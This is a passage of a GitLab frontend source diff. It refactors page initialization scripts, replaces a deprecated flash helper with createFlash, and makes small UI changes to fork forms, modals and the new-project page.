- autofocus
- type="text"
- name="username"
- autocomplete="off"
- />
- </form>
- <template #modal-footer>
- <gl-button @click="onCancel">{{ s__('Cancel') }}</gl-button>
- <gl-button
- :disabled="!canSubmit"
- category="secondary"
- variant="danger"
- @click="onSecondaryAction"
- >
- {{ secondaryAction }}
- </gl-button>
- <gl-button :disabled="!canSubmit" category="primary" variant="danger" @click="onSubmit">{{
- action
- }}</gl-button>
- </template>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/pages/admin/users/index.js b/app/assets/javascripts/pages/admin/users/index.js
index 9a8b0c9990f..41e99a3baf5 100644
--- a/app/assets/javascripts/pages/admin/users/index.js
+++ b/app/assets/javascripts/pages/admin/users/index.js
@@ -1,64 +1,7 @@
-import Vue from 'vue';
-
-import { initAdminUsersApp } from '~/admin/users';
+import { initAdminUsersApp, initDeleteUserModals, initAdminUserActions } from '~/admin/users';
import initConfirmModal from '~/confirm_modal';
-import csrf from '~/lib/utils/csrf';
-import Translate from '~/vue_shared/translate';
-import ModalManager from './components/user_modal_manager.vue';
-
-const CONFIRM_DELETE_BUTTON_SELECTOR = '.js-delete-user-modal-button';
-const MODAL_TEXTS_CONTAINER_SELECTOR = '#js-modal-texts';
-const MODAL_MANAGER_SELECTOR = '#js-delete-user-modal';
-
-function loadModalsConfigurationFromHtml(modalsElement) {
- const modalsConfiguration = {};
-
- if (!modalsElement) {
- /* eslint-disable-next-line @gitlab/require-i18n-strings */
- throw new Error('Modals content element not found!');
- }
-
- Array.from(modalsElement.children).forEach((node) => {
- const { modal, ...config } = node.dataset;
- modalsConfiguration[modal] = {
- title: node.dataset.title,
- ...config,
- content: node.innerHTML,
- };
- });
-
- return modalsConfiguration;
-}
-
-document.addEventListener('DOMContentLoaded', () => {
- Vue.use(Translate);
-
- initAdminUsersApp();
-
- const modalConfiguration = loadModalsConfigurationFromHtml(
- document.querySelector(MODAL_TEXTS_CONTAINER_SELECTOR),
- );
-
- // eslint-disable-next-line no-new
- new Vue({
- el: MODAL_MANAGER_SELECTOR,
- functional: true,
- methods: {
- show(...args) {
- this.$refs.manager.show(...args);
- },
- },
- render(h) {
- return h(ModalManager, {
- ref: 'manager',
- props: {
- selector: CONFIRM_DELETE_BUTTON_SELECTOR,
- modalConfiguration,
- csrfToken: csrf.token,
- },
- });
- },
- });
- initConfirmModal();
-});
+initAdminUsersApp();
+initAdminUserActions();
+initDeleteUserModals();
+initConfirmModal();
diff --git a/app/assets/javascripts/pages/admin/users/keys/index.js b/app/assets/javascripts/pages/admin/users/keys/index.js
deleted file mode 100644
index 45b83ffcd67..00000000000
--- a/app/assets/javascripts/pages/admin/users/keys/index.js
+++ /dev/null
@@ -1,5 +0,0 @@
-import initConfirmModal from '~/confirm_modal';
-
-document.addEventListener('DOMContentLoaded', () => {
- initConfirmModal();
-});
diff --git a/app/assets/javascripts/pages/dashboard/groups/index/index.js b/app/assets/javascripts/pages/dashboard/groups/index/index.js
index b9277106a71..c14848c4798 100644
--- a/app/assets/javascripts/pages/dashboard/groups/index/index.js
+++ b/app/assets/javascripts/pages/dashboard/groups/index/index.js
@@ -1,5 +1,3 @@
import initGroupsList from '~/groups';
-document.addEventListener('DOMContentLoaded', () => {
- initGroupsList();
-});
+initGroupsList();
diff --git a/app/assets/javascripts/pages/dashboard/milestones/show/index.js b/app/assets/javascripts/pages/dashboard/milestones/show/index.js
index 397149aaa9e..1f3e458fe17 100644
--- a/app/assets/javascripts/pages/dashboard/milestones/show/index.js
+++ b/app/assets/javascripts/pages/dashboard/milestones/show/index.js
@@ -2,8 +2,6 @@ import Milestone from '~/milestone';
import Sidebar from '~/right_sidebar';
import MountMilestoneSidebar from '~/sidebar/mount_milestone_sidebar';
-document.addEventListener('DOMContentLoaded', () => {
- new Milestone(); // eslint-disable-line no-new
- new Sidebar(); // eslint-disable-line no-new
- new MountMilestoneSidebar(); // eslint-disable-line no-new
-});
+new Milestone(); // eslint-disable-line no-new
+new Sidebar(); // eslint-disable-line no-new
+new MountMilestoneSidebar(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/dashboard/todos/index/todos.js b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
index 42341436b55..946076cfb29 100644
--- a/app/assets/javascripts/pages/dashboard/todos/index/todos.js
+++ b/app/assets/javascripts/pages/dashboard/todos/index/todos.js
@@ -4,7 +4,7 @@ import $ from 'jquery';
import { getGroups } from '~/api/groups_api';
import { getProjects } from '~/api/projects_api';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { isMetaClick } from '~/lib/utils/common_utils';
import { addDelimiter } from '~/lib/utils/text_utility';
@@ -103,7 +103,9 @@ export default class Todos {
})
.catch(() => {
this.updateRowState(target, true);
- return flash(__('Error updating status of to-do item.'));
+ return createFlash({
+ message: __('Error updating status of to-do item.'),
+ });
});
}
@@ -145,7 +147,11 @@ export default class Todos {
this.updateAllState(target, data);
this.updateBadges(data);
})
- .catch(() => flash(__('Error updating status for all to-do items.')));
+ .catch(() =>
+ createFlash({
+ message: __('Error updating status for all to-do items.'),
+ }),
+ );
}
updateAllState(target, data) {
diff --git a/app/assets/javascripts/pages/explore/projects/index.js b/app/assets/javascripts/pages/explore/projects/index.js
index 01001d4f3ff..6c9378b7231 100644
--- a/app/assets/javascripts/pages/explore/projects/index.js
+++ b/app/assets/javascripts/pages/explore/projects/index.js
@@ -1,5 +1,3 @@
import ProjectsList from '~/projects_list';
-document.addEventListener('DOMContentLoaded', () => {
- new ProjectsList(); // eslint-disable-line no-new
-});
+new ProjectsList(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/groups/clusters/destroy/index.js b/app/assets/javascripts/pages/groups/clusters/destroy/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/groups/clusters/destroy/index.js
+++ b/app/assets/javascripts/pages/groups/clusters/destroy/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/groups/clusters/edit/index.js b/app/assets/javascripts/pages/groups/clusters/edit/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/groups/clusters/edit/index.js
+++ b/app/assets/javascripts/pages/groups/clusters/edit/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/groups/clusters/index.js b/app/assets/javascripts/pages/groups/clusters/index.js
index d5ce5d076a2..4d48bd4be2b 100644
--- a/app/assets/javascripts/pages/groups/clusters/index.js
+++ b/app/assets/javascripts/pages/groups/clusters/index.js
@@ -1,7 +1,5 @@
import initIntegrationForm from '~/clusters/forms/show/index';
import initCreateCluster from '~/create_cluster/init_create_cluster';
-document.addEventListener('DOMContentLoaded', () => {
- initCreateCluster(document, gon);
- initIntegrationForm();
-});
+initCreateCluster(document, gon);
+initIntegrationForm();
diff --git a/app/assets/javascripts/pages/groups/clusters/new/index.js b/app/assets/javascripts/pages/groups/clusters/new/index.js
index 876bab0b339..de9ded87ef3 100644
--- a/app/assets/javascripts/pages/groups/clusters/new/index.js
+++ b/app/assets/javascripts/pages/groups/clusters/new/index.js
@@ -1,5 +1,3 @@
import initNewCluster from '~/clusters/new_cluster';
-document.addEventListener('DOMContentLoaded', () => {
- initNewCluster();
-});
+initNewCluster();
diff --git a/app/assets/javascripts/pages/groups/clusters/show/index.js b/app/assets/javascripts/pages/groups/clusters/show/index.js
index ccf631b2c53..5d202a8824f 100644
--- a/app/assets/javascripts/pages/groups/clusters/show/index.js
+++ b/app/assets/javascripts/pages/groups/clusters/show/index.js
@@ -1,7 +1,5 @@
import ClustersBundle from '~/clusters/clusters_bundle';
import initClusterHealth from '~/pages/projects/clusters/show/cluster_health';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
- initClusterHealth();
-});
+new ClustersBundle(); // eslint-disable-line no-new
+initClusterHealth();
diff --git a/app/assets/javascripts/pages/groups/issues/index.js b/app/assets/javascripts/pages/groups/issues/index.js
index 76db578f6f9..342c054471d 100644
--- a/app/assets/javascripts/pages/groups/issues/index.js
+++ b/app/assets/javascripts/pages/groups/issues/index.js
@@ -1,5 +1,5 @@
import IssuableFilteredSearchTokenKeys from 'ee_else_ce/filtered_search/issuable_filtered_search_token_keys';
-import issuableInitBulkUpdateSidebar from '~/issuable_init_bulk_update_sidebar';
+import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
import { mountIssuablesListApp } from '~/issues_list';
import initManualOrdering from '~/manual_ordering';
import { FILTERED_SEARCH } from '~/pages/constants';
diff --git a/app/assets/javascripts/pages/groups/merge_requests/index.js b/app/assets/javascripts/pages/groups/merge_requests/index.js
index 2f6f9bb16e1..02a0a50f984 100644
--- a/app/assets/javascripts/pages/groups/merge_requests/index.js
+++ b/app/assets/javascripts/pages/groups/merge_requests/index.js
@@ -1,6 +1,6 @@
import addExtraTokensForMergeRequests from 'ee_else_ce/filtered_search/add_extra_tokens_for_merge_requests';
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import issuableInitBulkUpdateSidebar from '~/issuable_init_bulk_update_sidebar';
+import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
import { FILTERED_SEARCH } from '~/pages/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import projectSelect from '~/project_select';
diff --git a/app/assets/javascripts/pages/groups/milestones/show/index.js b/app/assets/javascripts/pages/groups/milestones/show/index.js
index 2a2cc5faebe..914e2831185 100644
--- a/app/assets/javascripts/pages/groups/milestones/show/index.js
+++ b/app/assets/javascripts/pages/groups/milestones/show/index.js
@@ -1,7 +1,5 @@
import initDeleteMilestoneModal from '~/pages/milestones/shared/delete_milestone_modal_init';
import initMilestonesShow from '~/pages/milestones/shared/init_milestones_show';
-document.addEventListener('DOMContentLoaded', () => {
- initMilestonesShow();
- initDeleteMilestoneModal();
-});
+initMilestonesShow();
+initDeleteMilestoneModal();
diff --git a/app/assets/javascripts/pages/groups/new/group_path_validator.js b/app/assets/javascripts/pages/groups/new/group_path_validator.js
index a0ff98645fb..c58be202043 100644
--- a/app/assets/javascripts/pages/groups/new/group_path_validator.js
+++ b/app/assets/javascripts/pages/groups/new/group_path_validator.js
@@ -1,6 +1,6 @@
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import InputValidator from '~/validators/input_validator';
import fetchGroupPathAvailability from './fetch_group_path_availability';
@@ -12,7 +12,6 @@ const parentIdSelector = 'group_parent_id';
const successMessageSelector = '.validation-success';
const pendingMessageSelector = '.validation-pending';
const unavailableMessageSelector = '.validation-error';
-const suggestionsMessageSelector = '.gl-path-suggestions';
const inputGroupSelector = '.input-group';
export default class GroupPathValidator extends InputValidator {
@@ -57,21 +56,19 @@ export default class GroupPathValidator extends InputValidator {
);
if (data.exists) {
- GroupPathValidator.showSuggestions(inputDomElement, data.suggests);
+ const [suggestedSlug] = data.suggests;
+ const targetDomElement = document.querySelector('.js-autofill-group-path');
+ targetDomElement.value = suggestedSlug;
}
})
- .catch(() => flash(__('An error occurred while validating group path')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while validating group path'),
+ }),
+ );
}
}
- static showSuggestions(inputDomElement, suggestions) {
- const messageElement = inputDomElement.parentElement.parentElement.querySelector(
- suggestionsMessageSelector,
- );
- const textSuggestions = suggestions && suggestions.length > 0 ? suggestions.join(', ') : 'none';
- messageElement.textContent = textSuggestions;
- }
-
static setMessageVisibility(inputDomElement, messageSelector, isVisible = true) {
const messageElement = inputDomElement
.closest(inputGroupSelector)
diff --git a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue b/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
index 16f68b94c9a..34f9fe778ea 100644
--- a/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
+++ b/app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue
@@ -1,6 +1,6 @@
<script>
import { GlSafeHtmlDirective as SafeHtml, GlModal } from '@gitlab/ui';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { redirectTo } from '~/lib/utils/url_utility';
@@ -98,17 +98,17 @@ Once deleted, it cannot be undone or recovered.`),
});
if (error.response && error.response.status === 404) {
- Flash(
- sprintf(s__('Milestones|Milestone %{milestoneTitle} was not found'), {
+ createFlash({
+ message: sprintf(s__('Milestones|Milestone %{milestoneTitle} was not found'), {
milestoneTitle: this.milestoneTitle,
}),
- );
+ });
} else {
- Flash(
- sprintf(s__('Milestones|Failed to delete milestone %{milestoneTitle}'), {
+ createFlash({
+ message: sprintf(s__('Milestones|Failed to delete milestone %{milestoneTitle}'), {
milestoneTitle: this.milestoneTitle,
}),
- );
+ });
}
throw error;
});
diff --git a/app/assets/javascripts/pages/profiles/notifications/show/index.js b/app/assets/javascripts/pages/profiles/notifications/show/index.js
index 51ba6c7a01e..6aa0f260cc0 100644
--- a/app/assets/javascripts/pages/profiles/notifications/show/index.js
+++ b/app/assets/javascripts/pages/profiles/notifications/show/index.js
@@ -1,5 +1,3 @@
import initNotificationsDropdown from '~/notifications';
-document.addEventListener('DOMContentLoaded', () => {
- initNotificationsDropdown();
-});
+initNotificationsDropdown();
diff --git a/app/assets/javascripts/pages/projects/artifacts/browse/index.js b/app/assets/javascripts/pages/projects/artifacts/browse/index.js
index 58ba6a500a3..60680ec7d1d 100644
--- a/app/assets/javascripts/pages/projects/artifacts/browse/index.js
+++ b/app/assets/javascripts/pages/projects/artifacts/browse/index.js
@@ -1,7 +1,5 @@
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import BuildArtifacts from '~/build_artifacts';
-document.addEventListener('DOMContentLoaded', () => {
- new ShortcutsNavigation(); // eslint-disable-line no-new
- new BuildArtifacts(); // eslint-disable-line no-new
-});
+new ShortcutsNavigation(); // eslint-disable-line no-new
+new BuildArtifacts(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/projects/artifacts/file/index.js b/app/assets/javascripts/pages/projects/artifacts/file/index.js
index eb5ecc27c43..057ef157374 100644
--- a/app/assets/javascripts/pages/projects/artifacts/file/index.js
+++ b/app/assets/javascripts/pages/projects/artifacts/file/index.js
@@ -1,7 +1,5 @@
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import BlobViewer from '~/blob/viewer/index';
-document.addEventListener('DOMContentLoaded', () => {
- new ShortcutsNavigation(); // eslint-disable-line no-new
- new BlobViewer(); // eslint-disable-line no-new
-});
+new ShortcutsNavigation(); // eslint-disable-line no-new
+new BlobViewer(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/projects/clusters/destroy/index.js b/app/assets/javascripts/pages/projects/clusters/destroy/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/projects/clusters/destroy/index.js
+++ b/app/assets/javascripts/pages/projects/clusters/destroy/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/projects/clusters/edit/index.js b/app/assets/javascripts/pages/projects/clusters/edit/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/projects/clusters/edit/index.js
+++ b/app/assets/javascripts/pages/projects/clusters/edit/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/projects/clusters/index.js b/app/assets/javascripts/pages/projects/clusters/index.js
index 4d04c37caa7..f398b1cee82 100644
--- a/app/assets/javascripts/pages/projects/clusters/index.js
+++ b/app/assets/javascripts/pages/projects/clusters/index.js
@@ -1,5 +1,3 @@
import initCreateCluster from '~/create_cluster/init_create_cluster';
-document.addEventListener('DOMContentLoaded', () => {
- initCreateCluster(document, gon);
-});
+initCreateCluster(document, gon);
diff --git a/app/assets/javascripts/pages/projects/clusters/show/index.js b/app/assets/javascripts/pages/projects/clusters/show/index.js
index 1d019285e23..71ab5a0b19c 100644
--- a/app/assets/javascripts/pages/projects/clusters/show/index.js
+++ b/app/assets/javascripts/pages/projects/clusters/show/index.js
@@ -3,9 +3,7 @@ import initIntegrationForm from '~/clusters/forms/show';
import initGkeNamespace from '~/create_cluster/gke_cluster_namespace';
import initClusterHealth from './cluster_health';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
- initGkeNamespace();
- initClusterHealth();
- initIntegrationForm();
-});
+new ClustersBundle(); // eslint-disable-line no-new
+initGkeNamespace();
+initClusterHealth();
+initIntegrationForm();
diff --git a/app/assets/javascripts/pages/projects/commit/show/index.js b/app/assets/javascripts/pages/projects/commit/show/index.js
index d75c3cc6b8b..e3b30560fef 100644
--- a/app/assets/javascripts/pages/projects/commit/show/index.js
+++ b/app/assets/javascripts/pages/projects/commit/show/index.js
@@ -3,7 +3,7 @@ import $ from 'jquery';
import loadAwardsHandler from '~/awards_handler';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import Diff from '~/diff';
-import flash from '~/flash';
+import createFlash from '~/flash';
import initChangesDropdown from '~/init_changes_dropdown';
import initNotes from '~/init_notes';
import axios from '~/lib/utils/axios_utils';
@@ -39,7 +39,7 @@ if (filesContainer.length) {
new Diff();
})
.catch(() => {
- flash({ message: __('An error occurred while retrieving diff files') });
+ createFlash({ message: __('An error occurred while retrieving diff files') });
});
} else {
new Diff();
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
index 75c3b6d564c..795ae713c08 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
@@ -39,6 +39,14 @@ const initFormField = ({ value, required = true, skipValidation = false }) => ({
feedback: null,
});
+function sortNamespaces(namespaces) {
+ if (!namespaces || !namespaces?.length) {
+ return namespaces;
+ }
+
+ return namespaces.sort((a, b) => a.full_name.localeCompare(b.full_name));
+}
+
export default {
components: {
GlForm,
@@ -206,7 +214,7 @@ export default {
methods: {
async fetchNamespaces() {
const { data } = await axios.get(this.endpoint);
- this.namespaces = data.namespaces;
+ this.namespaces = sortNamespaces(data.namespaces);
},
isVisibilityLevelDisabled(visibility) {
return !this.allowedVisibilityLevels.includes(visibility);
@@ -301,11 +309,11 @@ export default {
:state="form.fields.namespace.state"
required
>
- <template slot="first">
+ <template #first>
<option :value="null" disabled>{{ s__('ForkProject|Select a namespace') }}</option>
</template>
<option v-for="namespace in namespaces" :key="namespace.id" :value="namespace">
- {{ namespace.name }}
+ {{ namespace.full_name }}
</option>
</gl-form-select>
</gl-form-input-group>
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
index 88f4bba5e2a..d41488acf46 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
@@ -101,7 +101,7 @@ export default {
v-if="isGroupPendingRemoval"
variant="warning"
class="gl-display-none gl-sm-display-flex gl-mt-3 gl-mr-1"
- >{{ __('pending removal') }}</gl-badge
+ >{{ __('pending deletion') }}</gl-badge
>
<user-access-role-badge v-if="group.permission" class="gl-mt-3">
{{ group.permission }}
diff --git a/app/assets/javascripts/pages/projects/index.js b/app/assets/javascripts/pages/projects/index.js
index 1eab3becbc3..8ec6e5e66b3 100644
--- a/app/assets/javascripts/pages/projects/index.js
+++ b/app/assets/javascripts/pages/projects/index.js
@@ -1,7 +1,9 @@
import ShortcutsNavigation from '../../behaviors/shortcuts/shortcuts_navigation';
+import initTerraformNotification from '../../projects/terraform_notification';
import { initSidebarTracking } from '../shared/nav/sidebar_tracking';
import Project from './project';
new Project(); // eslint-disable-line no-new
new ShortcutsNavigation(); // eslint-disable-line no-new
initSidebarTracking();
+initTerraformNotification();
diff --git a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue b/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
index aaa9bb906b2..e708cd32fff 100644
--- a/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
+++ b/app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue
@@ -85,28 +85,29 @@ export default {
:action-cancel="$options.cancelProps"
@primary="onSubmit"
>
- <div slot="modal-title" class="modal-title-with-label">
- <gl-sprintf
- :message="
- s__(
- 'Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}',
- )
- "
- >
- <template #labelTitle>
- <span
- class="label color-label"
- :style="`background-color: ${labelColor}; color: ${labelTextColor};`"
- >
- {{ labelTitle }}
- </span>
- </template>
- <template #span="{ content }"
- ><span>{{ content }}</span></template
+ <template #modal-title>
+ <div class="modal-title-with-label">
+ <gl-sprintf
+ :message="
+ s__(
+ 'Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}',
+ )
+ "
>
- </gl-sprintf>
- </div>
-
+ <template #labelTitle>
+ <span
+ class="label color-label"
+ :style="`background-color: ${labelColor}; color: ${labelTextColor};`"
+ >
+ {{ labelTitle }}
+ </span>
+ </template>
+ <template #span="{ content }"
+ ><span>{{ content }}</span></template
+ >
+ </gl-sprintf>
+ </div>
+ </template>
{{ text }}
</gl-modal>
</template>
diff --git a/app/assets/javascripts/pages/projects/merge_requests/conflicts/index.js b/app/assets/javascripts/pages/projects/merge_requests/conflicts/index.js
index 05019915fc9..545a39f4cf1 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/conflicts/index.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/conflicts/index.js
@@ -1,7 +1,5 @@
import initMergeConflicts from '~/merge_conflicts/merge_conflicts_bundle';
import initSidebarBundle from '~/sidebar/sidebar_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- initSidebarBundle();
- initMergeConflicts();
-});
+initSidebarBundle();
+initMergeConflicts();
diff --git a/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare.js b/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare.js
index 8d152ec4ba6..d61209f904d 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare.js
@@ -15,7 +15,7 @@ const updateCommitList = (url, $loadingIndicator, $commitList, params) => {
.then(({ data }) => {
$loadingIndicator.hide();
$commitList.html(data);
- localTimeAgo($('.js-timeago', $commitList));
+ localTimeAgo($commitList.get(0).querySelectorAll('.js-timeago'));
});
};
diff --git a/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare_autocomplete.js b/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare_autocomplete.js
index 68ab7021cf3..e5f97530c02 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare_autocomplete.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/creations/new/compare_autocomplete.js
@@ -2,7 +2,7 @@
import $ from 'jquery';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
import { __ } from '~/locale';
@@ -37,7 +37,11 @@ export default function initCompareAutocomplete(limitTo = null, clickHandler = (
callback(data);
}
})
- .catch(() => flash(__('Error fetching refs')));
+ .catch(() =>
+ createFlash({
+ message: __('Error fetching refs'),
+ }),
+ );
},
selectable: true,
filterable: true,
diff --git a/app/assets/javascripts/pages/projects/new/components/app.vue b/app/assets/javascripts/pages/projects/new/components/app.vue
index 60a4fbc3e6b..6e9efc50be8 100644
--- a/app/assets/javascripts/pages/projects/new/components/app.vue
+++ b/app/assets/javascripts/pages/projects/new/components/app.vue
@@ -4,12 +4,10 @@ import blankProjectIllustration from '@gitlab/svgs/dist/illustrations/project-cr
import importProjectIllustration from '@gitlab/svgs/dist/illustrations/project-import-sm.svg';
import ciCdProjectIllustration from '@gitlab/svgs/dist/illustrations/project-run-CICD-pipelines-sm.svg';
import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import { experiment } from '~/experimentation/utils';
import { s__ } from '~/locale';
import NewNamespacePage from '~/vue_shared/new_namespace/new_namespace_page.vue';
import NewProjectPushTipPopover from './new_project_push_tip_popover.vue';
-const NEW_REPO_EXPERIMENT = 'new_repo';
const CI_CD_PANEL = 'cicd_for_external_repo';
const PANELS = [
{
@@ -79,28 +77,8 @@ export default {
},
computed: {
- decoratedPanels() {
- const PANEL_TITLES = experiment(NEW_REPO_EXPERIMENT, {
- use: () => ({
- blank: s__('ProjectsNew|Create blank project'),
- import: s__('ProjectsNew|Import project'),
- }),
- try: () => ({
- blank: s__('ProjectsNew|Create blank project/repository'),
- import: s__('ProjectsNew|Import project/repository'),
- }),
- });
-
- return PANELS.map(({ key, title, ...el }) => ({
- ...el,
- title: PANEL_TITLES[key] ?? title,
- }));
- },
-
availablePanels() {
- return this.isCiCdAvailable
- ? this.decoratedPanels
- : this.decoratedPanels.filter((p) => p.name !== CI_CD_PANEL);
+ return this.isCiCdAvailable ? PANELS : PANELS.filter((p) => p.name !== CI_CD_PANEL);
},
},
@@ -112,7 +90,6 @@ export default {
}
},
},
- EXPERIMENT: NEW_REPO_EXPERIMENT,
};
</script>
@@ -122,7 +99,6 @@ export default {
:panels="availablePanels"
:jump-to-last-persisted-panel="hasErrors"
:title="s__('ProjectsNew|Create new project')"
- :experiment="$options.EXPERIMENT"
persistence-key="new_project_last_active_tab"
@panel-change="resetProjectErrors"
>
diff --git a/app/assets/javascripts/pages/projects/packages/packages/show/index.js b/app/assets/javascripts/pages/projects/packages/packages/show/index.js
index 1afb900ed88..ee06f247ddc 100644
--- a/app/assets/javascripts/pages/projects/packages/packages/show/index.js
+++ b/app/assets/javascripts/pages/projects/packages/packages/show/index.js
@@ -1,3 +1,11 @@
-import initPackageDetail from '~/packages/details/';
-
-initPackageDetail();
+(async function initPackage() {
+ let app;
+ if (document.getElementById('js-vue-packages-detail-new')) {
+ app = await import(
+ /* webpackChunkName: 'new_package_app' */ `~/packages_and_registries/package_registry/pages/details.js`
+ );
+ } else {
+ app = await import('~/packages/details/');
+ }
+ app.default();
+})();
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/create/index.js b/app/assets/javascripts/pages/projects/pipeline_schedules/create/index.js
index d65be6bc69e..6dd21380bec 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/create/index.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/create/index.js
@@ -1,3 +1,3 @@
import initForm from '../shared/init_form';
-document.addEventListener('DOMContentLoaded', initForm);
+initForm();
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/edit/index.js b/app/assets/javascripts/pages/projects/pipeline_schedules/edit/index.js
index d65be6bc69e..6dd21380bec 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/edit/index.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/edit/index.js
@@ -1,3 +1,3 @@
import initForm from '../shared/init_form';
-document.addEventListener('DOMContentLoaded', initForm);
+initForm();
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/new/index.js b/app/assets/javascripts/pages/projects/pipeline_schedules/new/index.js
index d65be6bc69e..6dd21380bec 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/new/index.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/new/index.js
@@ -1,3 +1,3 @@
import initForm from '../shared/init_form';
-document.addEventListener('DOMContentLoaded', initForm);
+initForm();
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/update/index.js b/app/assets/javascripts/pages/projects/pipeline_schedules/update/index.js
index d65be6bc69e..6dd21380bec 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/update/index.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/update/index.js
@@ -1,3 +1,3 @@
import initForm from '../shared/init_form';
-document.addEventListener('DOMContentLoaded', initForm);
+initForm();
diff --git a/app/assets/javascripts/pages/projects/project.js b/app/assets/javascripts/pages/projects/project.js
index 3b24c2c128b..9e93f709937 100644
--- a/app/assets/javascripts/pages/projects/project.js
+++ b/app/assets/javascripts/pages/projects/project.js
@@ -4,7 +4,7 @@ import $ from 'jquery';
import Cookies from 'js-cookie';
import initClonePanel from '~/clone_panel';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { serializeForm } from '~/lib/utils/forms';
import { mergeUrlParams } from '~/lib/utils/url_utility';
